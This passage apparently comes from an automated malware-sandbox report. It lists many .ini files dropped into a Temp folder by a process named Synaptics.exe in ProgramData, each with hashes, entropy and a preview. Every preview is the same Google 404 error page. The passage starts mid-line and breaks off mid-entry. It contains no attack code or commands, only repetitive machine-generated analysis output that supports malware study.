(min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\W2Sbt2a.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259885190729734
Encrypted:	false
SSDEEP:	24:GgsF+0/aVbSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+jl+pAZewRDK4mW
MD5:	006C446C56E5E35D0C362002A7CA6920
SHA1:	44F15A6AA655D948D9269D8D4C6732A754BA9BDB
SHA-256:	E70F864565C76A9138421AA48394F9E1A190C8126F7314ABD554FBA7F5161683
SHA-512:	6D6AC41711A3FC08BEB5B740456EE2D0EAFD2567690F76B1E3576FF854B36345B370D2B72FD5FD39CB05AE75E243C461497E01E4629148D4001EAD34D4B3E7A9
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ZD4XerzfW9b_zu-tVDQsbw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\W3FsRfN.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.274789691775832
Encrypted:	false
SSDEEP:	24:GgsF+03KSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+5+pAZewRDK4mW
MD5:	7CD7E6EAA5CA4B8A983B524585579B08
SHA1:	4C28D6B6D72C6031E2493CA91354E15AB83216EA
SHA-256:	96DBBD77E9C7D17FA34853CE14C1DAF0044B5AA469D2283A383EC0B7AA60B9A1
SHA-512:	6C1C6276AF2170119B72309D5544CB0EC4F756EDE83F6E37BB8339BC544988CB6A6D0683D0B9B4EA91010145AF4B9FF751CC548B0819FA40A0BB09363B9A95CB
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="XifYKBLab8t3wAeIPMOTEQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\WefLKd6.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.270780617288836
Encrypted:	false
SSDEEP:	24:GgsF+0BSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+m+pAZewRDK4mW
MD5:	972CE396FE724DFF1C4FA12127311321
SHA1:	777501D11291D1091BC048C7E70CC2FBD18CC9AF
SHA-256:	34ED2A947CDFD566931942C87E9EB7772D16A99C6434B710D06C1662805A00D7
SHA-512:	2020AB8F20382F7E28995DEF1B6175A374B98F2F43B9441B77DC484A2B81AE6C554BAFCB324B9346CF68EBE0D666ED9BEFDE89FFEED979620D7B6B5026A9332D
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="NE6CczjKCEWh_bOFOemG2w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Xv2Ho1d.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.272886510950402
Encrypted:	false
SSDEEP:	24:GgsF+04SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+n+pAZewRDK4mW
MD5:	E86D574A1812D0AEC2F60487B5C54B57
SHA1:	DAA0B2C41CF9D28FC2F12141C14014491C2BF659
SHA-256:	4B36C5E3F40F1385C5EA913A785F978C3FA032FB6CEC115B5EB07706BD83D2D3
SHA-512:	5F9B786E8183A91BBA6E0599B6E97F7B6A021D0870E28AB4749BCF517103468BCB96F852E5A409E3DA134DE9365059E5813D36A340FADE0066CB36A5C830EBF4
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="UPPph9CtqDRKZklqA9YhLw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ZHyIAUO.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.267358078833116
Encrypted:	false
SSDEEP:	24:GgsF+0UwSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+vw+pAZewRDK4mW
MD5:	A72FECBC7C50C0F83A0B35381AEC9720
SHA1:	4DDFF89EDE899F36C86518C18B40E60FFCFC074E
SHA-256:	B37CAC1D9C31679DDCD4827A36573EB143E2058CB1705CFB79851063210B00AB
SHA-512:	74FF1B9BDF7A414F8CDBDC7DD58A8D4A5B85C8A3C5DD1A5932458998CA36662F0E32F5EBE7CF7B3247E5E3F085A4F2CFA2DF3A12F0D4B51B36D133C08B61060B
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="sEuBqDfeGBEiLBKdRKEAeA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Zh1dZtZ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.274580606216511
Encrypted:	false
SSDEEP:	24:GgsF+0xaSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Ma+pAZewRDK4mW
MD5:	75CCCF425EBC6F5FBEED831560DD0C0D
SHA1:	78B5BA844B383D5FB8CF3F6B16E2108A27AEA3E7
SHA-256:	CA0BFBF340F3F47111DFE76F953A225B3234BB33CA9856F4140C70492FF9E494
SHA-512:	F133125ED7CD78CF6B7ECDFE4007E298656480DC9EC7AF1FD3A00E849A06C21B944B940537FEC996E5FA70ECF9B4AE77218DA7DD3A163EC1C57D4CD288E2B6C0
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="CCWKRQBy_fbC1Mh8ahAS7A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ZivUHwR.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2493877062522065
Encrypted:	false
SSDEEP:	24:GgsF+0FsSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+d+pAZewRDK4mW
MD5:	22489D963FB601149023D20A2221D0A1
SHA1:	41C086994F33FF374B8B1343938F9EAF63EA1E06
SHA-256:	AB70D2E9633E4BF1A91549A45613829B3B90A1DCADF4651CFF64D9F9BC4A1A47
SHA-512:	021245596B89C19B30E7E19ED1920273C1B8E97A9EE898D97658EAEBDA271F239638DC838D1D99ECE078B8D34E1F340FC73AB2AE85C09A0B18E4DF368CC94414
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="76ma6h7vFAs7k6R4oT4rog">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\beAl9jK.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.254239346594455
Encrypted:	false
SSDEEP:	24:GgsF+0n8SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+7+pAZewRDK4mW
MD5:	31B7274EBA07339E5CCF259B1177B66B
SHA1:	D01CF08D7CE51CFE1E1583AEA6DE4E488BAFDD33
SHA-256:	033684D0885FDE3C63E2C310DBC469262B1E27BA83383864CD87AB70C2470D90
SHA-512:	631B8352AB56B59064E67666C97B586D44D406666F2CA70BCFED9E6A149F7F190763AB36671B477D116AE7A1835575E9CD0D4975123F4E4710FA75D0143B2098
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="o7pwVDTLpydAmVx12lLBMg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\cp79H4i.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.246606024478688
Encrypted:	false
SSDEEP:	24:GgsF+0OSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+5+pAZewRDK4mW
MD5:	6BB86CB23DEF661FB635AC7DB819D038
SHA1:	F323642AC4F36364A279F0374AA6E23BCC8C6AB2
SHA-256:	5C013A9AE0F0298BA58E48C9A9DBD9C5F00AF7ACE0A754934CDFF348413594D4
SHA-512:	C369DFCCACB367E7844AF536D6C4300DD13AB5AA3360CBF85BF0D700C2BA477AADA9E48FDBE00DB2C61E11AC717AA7CA9CCE4B50F371AB1C69652EE377AB6113
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="G_dL8yr1ELawxlr5ul-NNA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\dxpBnyj.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265495444787983
Encrypted:	false
SSDEEP:	24:GgsF+0+eSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Pe+pAZewRDK4mW
MD5:	F09722254BCBCD160C1D42964251830D
SHA1:	216B2207A98C7AF25EF3F6C9E15F8AE9E4507472
SHA-256:	67BC10C073B82837055E2FD05E831B2E273B7B18B8E74192F9786FB54E850AC5
SHA-512:	2414FE352A5BA6A26913D7DC3373FFF0ABC83C3FED29472FE8DD22106E5A7B77B24A4E6DB38A2831FB2EECAE6F0D272D1027C2BA864B8A220F2B5ACC59AA0CA1
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="okkFSACvB5CWd1yK4WfcwA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\f1q7Bjd.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2540495188771335
Encrypted:	false
SSDEEP:	24:GgsF+0C4SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+q+pAZewRDK4mW
MD5:	D82B23587C84691F8BE0ECA7422CBBE4
SHA1:	DF2114648A6C46EC899C8E82A6E3DF9317414126
SHA-256:	CF4BD73C32B8AC3AE74670629A110E51779F542EA5310A1CA2506120AFFD081D
SHA-512:	7C3394BF9C92118062DB0B03289DC3D21A54208EAB034BB70C3D8A9E7C01DEB51D843A12547B8FA04D90254343528C4E912A88B8AD4C715A4D2C849416B6873B
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="y7E0c4R9uS4UyM9gi_1aIg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\f5Fz46w.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.270107558876768
Encrypted:	false
SSDEEP:	24:GgsF+0UZSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+BZ+pAZewRDK4mW
MD5:	A6C58C2E2DFC1E25252891115F12DDB9
SHA1:	15FE42CB4CFFCC0528F98CEF6EE4DF1A2E18BCEE
SHA-256:	782967BC16187A8710730EAD01178F1795D786EBABF20CC06D2CEAFF2E9FB016
SHA-512:	6CCF4698FE4637607F2F13593ADEC8E634A43D9ABFDA916999B506FA45193C67EA5EB06B673C69C4EA624BDE15D21F26606C949706A425DE00362047FD7806D0
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="8zw4JPoM9VXGuiOV2Y9Muw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\f6N6bQa.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.260073685215014
Encrypted:	false
SSDEEP:	24:GgsF+0jSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+M+pAZewRDK4mW
MD5:	2C2CC5DE1F3F5EE18D9261851433B0B5
SHA1:	86749145C00CDCE7A12AA8F5DB6C5636D759CB74
SHA-256:	FB864838453AEE29A28ADE9C5E1A2EF4DCA8C4C4D704F34CFAF617068F704B6C
SHA-512:	70A3F8BBABC94ABD4E8FE2DC73FC443A6655969C8E567DFDB216A2001291970EAF24DD3B91C6CCA5D4545800798EF9D2B3813154BD7DAC2ED88D7486270D120E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="d0HswBGGT-_XtiJTzLcUtA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\faRzmYa.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2582082913199875
Encrypted:	false
SSDEEP:	24:GgsF+0Q3duSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+t4+pAZewRDK4mW
MD5:	0013B0F1E9FCAFC425CA253EB186D491
SHA1:	B7D6914D47D1C9AEF787EE5EF5366288D2AD9A59
SHA-256:	4932D1D89D1CB56F6800CF6DF6555F2A6DE466649A5393FAE3375792D6539426
SHA-512:	985DA74A6A22941D08417ACD983D9F464DA27F469778E617A86AE786F861B2BD401B25971BA927E6BF4E2B4175200C755F8EE21CD7185364FDDCAB3A6DC5532E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="955X72J0mw4luqHKAC8-ag">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ffdRpFS.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259768980035362
Encrypted:	false
SSDEEP:	24:GgsF+0N3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+q3+pAZewRDK4mW
MD5:	D8B0194FD55F7E3AF25EA159263D3C62
SHA1:	C68BEFEE0E20DC87043944C60568616FCB067727
SHA-256:	B6DA93F2F582421DE7C628FB7F4DD6F8ECCED339159E5BDDFE5366E90FBB78F1
SHA-512:	DE4AD5ED59B0112D64C28452A3EBF0ADCB37263322581D79990CD71650FB6A0B758B85DF1BAC31C2CB6F960A1EFAE5B0BD79DC274698333D1E4FEF41E2A39CEE
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="PqsQ-3n6It3ATFxr3nLhFg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\gC5YGRw.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.267870000235959
Encrypted:	false
SSDEEP:	24:GgsF+0RSSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+2S+pAZewRDK4mW
MD5:	2954C43A5ADE64E34640F66B61B3A187
SHA1:	C360235129ED9DC58F2969520730EE8E995769D0
SHA-256:	AC55B05C22BC479670FA62CC9215DE40C16A3CBCD0F89B7A47983F8996269C5C
SHA-512:	DB79D083C42CD3214ED2F22EC448294E8DB8BF1D4BA863E06CFAD420C9E8C88194150432F36166788D4F98D2B1B373487797F1CC76E4BDA72E83FBE87C07EE36
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="DMtfKq3hfJxuHfjqZtOziw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\hzojsWK.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.263190167173767
Encrypted:	false
SSDEEP:	24:GgsF+0EDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+z+pAZewRDK4mW
MD5:	D7C8669FF5B82A0F8DCCA33A09B1B977
SHA1:	34DDBB456704DF60BB72D3BBF4852BADAE47E1A2
